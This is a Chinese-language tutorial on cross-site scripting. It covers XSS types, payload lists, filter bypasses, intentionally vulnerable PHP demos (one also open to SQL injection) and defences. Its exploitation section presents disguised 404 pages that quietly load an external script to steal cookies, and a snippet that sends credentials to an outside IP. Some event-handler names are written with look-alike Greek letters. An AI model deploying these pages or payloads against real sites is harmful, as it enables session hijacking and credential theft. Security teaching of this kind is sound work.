XSS(跨站腳本攻擊)詳解

目錄javascript

XSS的原理和分類php

XSS的攻擊載荷css

XSS能夠插在哪裏? html

XSS漏洞的挖掘 前端

XSS的攻擊過程java

XSS漏洞的危害mysql

XSS漏洞的簡單攻擊測試jquery

反射型XSS:web

存儲型XSS:sql

DOM型XSS:

XSS的簡單過濾和繞過

​XSS的防護

反射型XSS的利用姿式

get型

post型

利用JS將用戶信息發送給後臺


XSS的原理和分類

跨站腳本攻擊XSS(Cross Site Scripting),爲了避免和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫爲XSS。惡意攻擊者往Web頁面裏插入惡意Script代碼,當用戶瀏覽該頁面時,嵌入Web裏面的Script代碼會被執行,從而達到惡意攻擊用戶的目的。XSS攻擊針對的是用戶層面的攻擊!
 
XSS分爲:存儲型 、反射型 、DOM型XSS

存儲型XSS:存儲型XSS,持久化,代碼是存儲在服務器中的,如在我的信息或發表文章等地方,插入代碼,若是沒有過濾或過濾不嚴,那麼這些代碼將儲存到服務器中,用戶訪問該頁面的時候觸發代碼執行。這種XSS比較危險,容易形成蠕蟲,盜竊cookie
反射型XSS:非持久化,須要欺騙用戶本身去點擊連接才能觸發XSS代碼(服務器中沒有這樣的頁面和內容),通常容易出如今搜索頁面。反射型XSS大多數是用來盜取用戶的Cookie信息。
DOM型XSS:不通過後端,DOM-XSS漏洞是基於文檔對象模型(Document Objeet Model,DOM)的一種漏洞,DOM-XSS是經過url傳入參數去控制觸發的,其實也屬於反射型XSS。 DOM的詳解:DOM文檔對象模型

可能觸發DOM型XSS的屬性

document.referer
window.name
location
innerHTML
documen.write

如圖,咱們在URL中傳入參數的值,而後客戶端頁面經過js腳本利用DOM的方法得到URL中參數的值,再經過DOM方法賦值給選擇列表,該過程沒有通過後端,徹底是在前端完成的。因此,咱們就能夠在咱們輸入的參數上作手腳了。

XSS的攻擊載荷

如下全部標籤的 > 均可以用 // 代替, 例如 <script>alert(1)</script//

<script>標籤:<script>標籤是最直接的XSS有效載荷,腳本標記能夠引用外部的JavaScript代碼,也能夠將代碼插入腳本標記中

<script>alert("hack")</script>   #彈出hack
<script>alert(/hack/)</script>   #彈出hack
<script>alert(1)</script>        #彈出1,對於數字能夠不用引號
<script>alert(document.cookie)</script>      #彈出cookie
<script src=http://xxx.com/xss.js></script>  #引用外部的xss

svg標籤 

<svg onload="alert(1)">
<svg onload="alert(1)"//

<img>標籤

<img  src=1  οnerrοr=alert("hack")>
<img  src=1  οnerrοr=alert(document.cookie)>  #彈出cookie

 <body>標籤

<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>

video標籤:

<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />

style標籤:

<style οnlοad=alert(1)></style>

XSS能夠插在哪裏? 

  • 用戶輸入做爲script標籤內容
  • 用戶輸入做爲HTML註釋內容
  • 用戶輸入做爲HTML標籤的屬性名
  • 用戶輸入做爲HTML標籤的屬性值
  • 用戶輸入做爲HTML標籤的名字
  • 直接插入到CSS裏
  • 最重要的是,千萬不要引入任何不可信的第三方JavaScript到頁面裏!
#用戶輸入做爲HTML註釋內容,致使攻擊者能夠進行閉合繞過
<!-- 用戶輸入 -->
<!-- --><script>alert('hack')</script><!-- -->

#用戶輸入做爲標籤屬性名,致使攻擊者能夠進行閉合繞過
<div 用戶輸入="xx">  </div>
<div ></div><script>alert('hack')</script><div a="xx"> </div>

#用戶輸入做爲標籤屬性值,致使攻擊者能夠進行閉合繞過
<div id="用戶輸入"></div>
<div id=""></div><script>alert('hack')</script><div a="x"></div>

#用戶輸入做爲標籤名,致使攻擊者能夠進行閉合繞過
<用戶輸入  id="xx" />
<><script>alert('hack')</script><b id="xx" />

#用戶輸入做爲CSS內容,致使攻擊者能夠進行閉合繞過
<style>用戶輸入<style>
<style> </style><script>alert('hack')</script><style> </style>

XSS漏洞的挖掘 

黑盒測試

儘量找到一切用戶可控而且可以輸出在頁面代碼中的地方,好比下面這些:

  • URL的每個參數
  • URL自己
  • 表單
  • 搜索框

常見業務場景

  • 重災區:評論區、留言區、我的信息、訂單信息等
  • 針對型:站內信、網頁即時通信、私信、意見反饋
  • 存在風險:搜索框、當前目錄、圖片屬性等

白盒測試(代碼審計)

關於XSS的代碼審計主要就是從接收參數的地方和一些關鍵詞入手。

PHP中常見的接收參數的方式有$_GET$_POST$_REQUEST等等,能夠搜索全部接收參數的地方。而後對接收到的數據進行跟蹤,看看有沒有輸出到頁面中,而後看輸出到頁面中的數據是否進行了過濾和html編碼等處理。

也能夠搜索相似echo這樣的輸出語句,跟蹤輸出的變量是從哪裏來的,咱們是否能控制,若是從數據庫中取的,是否能控制存到數據庫中的數據,存到數據庫以前有沒有進行過濾等等。

大多數程序會對接收參數封裝在公共文件的函數中統一調用,咱們就須要審計這些公共函數看有沒有過濾,可否繞過等等。

同理審計DOM型注入能夠搜索一些js操做DOM元素的關鍵詞進行審計。

XSS的攻擊過程

反射型XSS漏洞:

  1. Alice常常瀏覽某個網站,此網站爲Bob所擁有。Bob的站點須要Alice使用用戶名/密碼進行登陸,並存儲了Alice敏感信息(好比銀行賬戶信息)。
  2. Tom 發現 Bob的站點存在反射性的XSS漏洞
  3. Tom 利用Bob網站的反射型XSS漏洞編寫了一個exp,作成連接的形式,並利用各類手段誘使Alice點擊
  4. Alice在登陸到Bob的站點後,瀏覽了 Tom 提供的惡意連接
  5. 嵌入到惡意連接中的惡意腳本在Alice的瀏覽器中執行。此腳本盜竊敏感信息(cookie、賬號信息等信息)。而後在Alice徹底不知情的狀況下將這些信息發送給 Tom。
  6. Tom 利用獲取到的cookie就能夠以Alice的身份登陸Bob的站點,若是腳本的功更強大的話,Tom 還能夠對Alice的瀏覽器作控制並進一步利用漏洞控制

存儲型XSS漏洞:

  1. Bob擁有一個Web站點,該站點容許用戶發佈信息/瀏覽已發佈的信息。
  2. Tom檢測到Bob的站點存在存儲型的XSS漏洞。
  3. Tom在Bob的網站上發佈一個帶有惡意腳本的熱點信息,該熱點信息存儲在了Bob的服務器的數據庫中,而後吸引其它用戶來閱讀該熱點信息。
  4. Bob或者是任何的其餘人如Alice瀏覽該信息以後,Tom的惡意腳本就會執行。
  5. Tom的惡意腳本執行後,Tom就能夠對瀏覽器該頁面的用戶發動一塊兒XSS攻擊

XSS漏洞的危害

從以上咱們能夠知道,存儲型的XSS危害最大。由於他存儲在服務器端,因此不須要咱們和被攻擊者有任何接觸,只要被攻擊者訪問了該頁面就會遭受攻擊。而反射型和DOM型的XSS則須要咱們去誘使用戶點擊咱們構造的惡意的URL,須要咱們和用戶有直接或者間接的接觸,好比利用社會工程學或者利用在其餘網頁掛馬的方式。

那麼,利用XSS漏洞能夠幹什麼呢?

若是咱們的JS水平通常的話,咱們能夠利用網上免費的XSS平臺來構造代碼實施攻擊。

XSS漏洞的簡單攻擊測試

反射型XSS:

先放出源代碼

//前端 1.html:
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>反射型XSS</title>
</head>
<body>
    <form action="action.php" method="post">
        <input type="text" name="name" />
        <input type="submit" value="提交">
    </form>
</body>
</html>

//後端 action.php:
<?php
    $name=$_POST["name"]; 
	echo $name;
?>

 這裏有一個用戶提交的頁面,用戶能夠在此提交數據,數據提交以後給後臺處理

因此,咱們能夠在輸入框中提交數據: <script>alert('hack')</script>  ,看看會有什麼反應

頁面直接彈出了hack的頁面,能夠看到,咱們插入的語句已經被頁面給執行了。
這就是最基本的反射型的XSS漏洞,這種漏洞數據流向是: 前端-->後端-->前端

存儲型XSS:

先給出源代碼

//前端:2.html
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>存儲型XSS</title>
</head>
<body>
    <form action="action2.php" method="post">
        輸入你的ID:  <input type="text" name="id" /> <br/>
        輸入你的Name:<input type="text" name="name" /> <br/>
        <input type="submit" value="提交">
    </form>
</body>
</html>
//後端:action2.php
<?php
	$id=$_POST["id"];
	$name=$_POST["name"];
	mysql_connect("localhost","root","root");
	mysql_select_db("test");
	
	$sql="insert into xss value ($id,'$name')";
	$result=mysql_query($sql);
?>
//供其餘用戶訪問頁面:show2.php
<?php
	mysql_connect("localhost","root","root");
	mysql_select_db("test");
	$sql="select * from xss where id=1";
	$result=mysql_query($sql);
	while($row=mysql_fetch_array($result)){
		echo $row['name'];
	}
?>

這裏有一個用戶提交的頁面,數據提交給後端以後,後端存儲在數據庫中。而後當其餘用戶訪問另外一個頁面的時候,後端調出該數據,顯示給另外一個用戶,XSS代碼就被執行了。

咱們輸入 1    <script>alert(\'hack\')</script>   ,注意,這裏的hack的單引號要進行轉義,由於sql語句中的$name是單引號的,因此這裏不轉義的話就會閉合sql語句中的單引號。否則注入不進去。提交了以後,咱們看看數據庫

能夠看到,咱們的XSS語句已經插入到數據庫中了
而後當其餘用戶訪問 show2.php 頁面時,咱們插入的XSS代碼就執行了。
存儲型XSS的數據流向是:前端-->後端-->數據庫-->後端-->前端

DOM型XSS:

先放上源代碼

// 前端3.html
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>DOM型XSS</title>
</head>
<body>
    <form action="action3.php" method="post">
        <input type="text" name="name" />
        <input type="submit" value="提交">
    </form>
</body>
</html>
// 後端action3.php
<?php
  $name=$_POST["name"];
?>
<input id="text" type="text" value="<?php echo $name; ?>"/>
<div id="print"></div>
<script type="text/javascript">
  var text=document.getElementById("text");
  var print=document.getElementById("print");
  print.innerHTML=text.value;  // 獲取 text的值,而且輸出在print內。這裏是致使xss的主要緣由。
</script>

 這裏有一個用戶提交的頁面,用戶能夠在此提交數據,數據提交以後給後臺處理

咱們能夠輸入 <img src=1 οnerrοr=alert('hack')>     ,而後看看頁面的變化

頁面直接彈出了 hack 的頁面,能夠看到,咱們插入的語句已經被頁面給執行了。
這就是DOM型XSS漏洞,這種漏洞數據流向是: 前端-->瀏覽器

XSS的簡單過濾和繞過

前面講sql注入的時候,咱們講過程序猿對於sql注入的一些過濾,利用一些函數(如:preg_replace()),將組成sql語句的一些字符給過濾,以防止注入。那麼,程序猿也能夠用一些函數將構成xss代碼的一些關鍵字符給過濾了。但是,道高一尺魔高一丈,雖然過濾了,可是仍是能夠進行過濾繞過,以達到XSS攻擊的目的。

一:區分大小寫過濾標籤

先放上源代碼

//前端 1.html:
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>反射型XSS</title>
</head>
<body>
    <form action="action4.php" method="post">
        <input type="text" name="name" />
        <input type="submit" value="提交">
    </form>
</body>
</html>

//後端 action4.php:
<?php
$name=$_POST["name"]; 
if($name!=null){
	$name=preg_replace("/<script>/","",$name);      //過濾<script>
	$name=preg_replace("/<\/script>/","",$name);   //過濾</script>
	echo $name; 
}
?>

 繞過技巧:可使用大小寫繞過  <scripT>alert('hack')</scripT>

二:不區分大小寫過濾標籤

先放上源代碼

這個和上面的代碼如出一轍,只不過是過濾的時候多加了一個 i ,以不區分大小寫

$name=preg_replace("/<script>/i","",$name);    //不區分大小寫過濾 <script>
$name=preg_replace("/<\/script>/i","",$name);  //不區分大小寫過濾 </script>

 繞過技巧:可使用嵌套的script標籤繞過   <scr<script>ipt>alert('hack')</scr</script>ipt>

三:不區分大小寫,過濾之間的全部內容

先放上源代碼

這個和上面的代碼如出一轍,只不過是過濾的時候過濾條件發生了變化 

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); //過濾了<script  及其之間的全部內容

雖然沒法使用<script>標籤注入XSS代碼,可是能夠經過img、body等標籤的事件或者 iframe 等標籤的 src 注入惡意的 js 代碼。

payload:  <img src=1 οnerrοr=alert('hack')>

咱們能夠輸入 <img src=1 οnerrοr=alert('hack')>     ,而後看看頁面的變化


XSS的防護

XSS防護的整體思路是對用戶的輸入(和URL參數)進行過濾,對輸出進行html編碼。也就是對用戶提交的全部內容進行過濾,對url中的參數進行過濾,過濾掉會致使腳本執行的相關內容;而後對動態輸出到頁面的內容進行html編碼,使腳本沒法在瀏覽器中執行。

對輸入的內容進行過濾,能夠分爲黑名單過濾和白名單過濾。黑名單過濾雖然能夠攔截大部分的XSS攻擊,可是仍是存在被繞過的風險。白名單過濾雖然能夠基本杜絕XSS攻擊,可是真實環境中通常是不能進行如此嚴格的白名單過濾的。

對輸出進行html編碼,就是經過函數,將用戶的輸入的數據進行html編碼,使其不能做爲腳本運行。

以下,是使用php中的htmlspecialchars函數對用戶輸入的name參數進行html編碼,將其轉換爲html實體

#使用htmlspecialchars函數對用戶輸入的name參數進行html編碼,將其轉換爲html實體
$name = htmlspecialchars( $_GET[ 'name' ] );

以下,圖一是沒有進行html編碼的,圖2是進行了html編碼的。通過html編碼後script標籤被當成了html實體。 

咱們還能夠服務端設置會話Cookie的HTTP Only屬性,這樣,客戶端的JS腳本就不能獲取Cookie信息了

反射型XSS的利用姿式

咱們如今發現一個網站存在反射型XSS,當用戶登陸該網站時,咱們經過誘使用戶點擊咱們精心製做的惡意連接,來盜取用戶的Cookie而且發送給咱們,而後咱們再利用盜取的Cookie以用戶的身份登陸該用戶的網站。

get型

當咱們輸入參數的請求類型的get類型的,即咱們輸入的參數是以URL參數的形式。以下圖

該連接的爲:http://127.0.0.1/vulnerabilities/xss_r/?name=<script>alert(/xss/)</script>

那麼,咱們要怎麼構造惡意代碼來誘使用戶點擊而且用戶點擊後不會發現點擊了惡意連接呢?

咱們構造了以下代碼,將其保存爲html頁面,而後放到咱們本身的服務器上,作成一個連接。當用戶登陸了存在漏洞的網站,而且用戶點擊了咱們構造的惡意連接時,該連接頁面會偷偷打開iframe框架,iframe會訪問其中的連接,而後執行咱們的js代碼。該js代碼會把存在漏洞網站的cookie發送到咱們的平臺上,可是用戶卻渾然不知,他會發現打開的是一個404的頁面!

<iframe src="http://127.0.0.1/vulnerabilities/xss_r/?name=<script src=https://t.cn/EtxZt8T></script>" style="display:none;"></iframe>
<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <title>404 頁面不存在 </title>
    <style type="text/css">
        body{font:14px/1.5 'Microsoft YaHei','微軟雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}
        .error-page{background:#f0f1f3;padding:80px 0 180px}
        .error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}
        .error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}
        .error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}
    </style>
</head>
<body>
<iframe src="http://127.0.0.1/vulnerabilities/xss_r/?name=<script src=https://t.cn/EtxZt8T></script>" style="display:none;"></iframe>
<div class="error-page">
    <div class="error-page-container">
        <div class="error-page-main">
            <h3>
                <strong>404</strong>很抱歉,您要訪問的頁面不存在!
            </h3> 
        </div>
    </div>
</div>
</body>
</html>

而咱們的XSS平臺將獲得用戶的Cookie,而後咱們就能夠利用獲得的Cookie以用戶的身份訪問該網站了。

注:咱們的攻擊代碼能夠利用的前提是存在XSS漏洞的網站的X-Frame-options未配置,而且會話Cookie沒有設置Http Only屬性

post型

咱們如今知道一個網站的用戶名輸入框存在反射型的XSS漏洞

咱們抓包查看

咱們構造了以下代碼,將其保存爲html頁面,而後放到咱們本身的服務器上,作成一個連接。當用戶登陸了存在漏洞的網站,而且用戶點擊了咱們構造的惡意連接時,該惡意連接的頁面加載完後會執行js代碼,完成表單的提交,表單的用戶名參數是咱們的惡意js代碼。提交完該表單後,該js代碼會把存在漏洞網站的cookie發送到咱們的平臺上,可是用戶卻渾然不知,他會發現打開的是一個404的頁面。

咱們這裏寫了一個404頁面,404頁面中隱藏了一個form提交的表單,爲了防止提交表單後跳轉,咱們在表單下加了一個iframe框架,而且iframe框架的name等於form表單的target,而且咱們設置iframe框架爲不可見。

<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <title>404 頁面不存在 </title>
    <style type="text/css">
        body{font:14px/1.5 'Microsoft YaHei','微軟雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}
        .error-page{background:#f0f1f3;padding:80px 0 180px}
        .error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}
        .error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}
        .error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}
    </style>
     <script type="text/javascript">
        function attack()
        {
            document.getElementById("transfer").submit();
        }
    </script>
</head>
<body>
<iframe src="form.html" frameborder="0" style="display: none"></iframe>
<div class="error-page">
    <div class="error-page-container">
        <div class="error-page-main">
            <h3>
                <strong>404</strong>很抱歉,您要訪問的頁面不存在!
            </h3>
        </div>
    </div>
    <form method="POST" id="transfer"  action="http://127.0.0.1/xss/action.php" target="frameName">
         <input type="hidden" name="username" value="<script src=https://t.cn/EtxZt8T></script>">
         <input type="hidden" name="password" value="1">
    </form>
    <iframe src="" frameborder="0" name="frameName" style="display: none"></iframe>
</div>
</body>
</html>

當用戶點擊了咱們構造的惡意連接,發現打開的是一個404頁面。實際上這個頁面偷偷的進行了表單的提交。

而咱們的XSS平臺也收到了發送來的數據(這數據中沒有Cookie的緣由是這個網站我沒設置Cookie,只是隨便寫的一個頁面)。

利用JS將用戶信息發送給後臺

<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title></title>
    <script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script>
    <script>
        $(function(){
            //咱們如今假如 user和pass是咱們利用js得到的用戶的用戶名和密碼
            user="admin";
            pass="root";
            url="http://120.79.74.249:8080/?user="+user+"&pass="+pass;
            var frame=$("<iframe>");
            frame.attr("src",url);
            frame.attr("style","display:none");
            $("#body").append(frame);      //添加一個iframe框架,並設置不顯示。這個框架會偷偷訪問該連接。
        });
    </script>
</head>
<body id="body">
    <h3>hello,word!</h3>
</body>
</html>

當用戶訪問了該頁面,咱們後臺就能夠看到用戶訪問記錄。

相關文章:DVWA之DOM XSS(DOM型跨站腳本攻擊)

                  DVWA之Reflected XSS(反射型XSS)

                  DVWA之Stored XSS(存儲型XSS)

                  挖洞經驗丨印尼電商平臺Tokopedia的反射型XSS漏洞

相關文章
相關標籤/搜索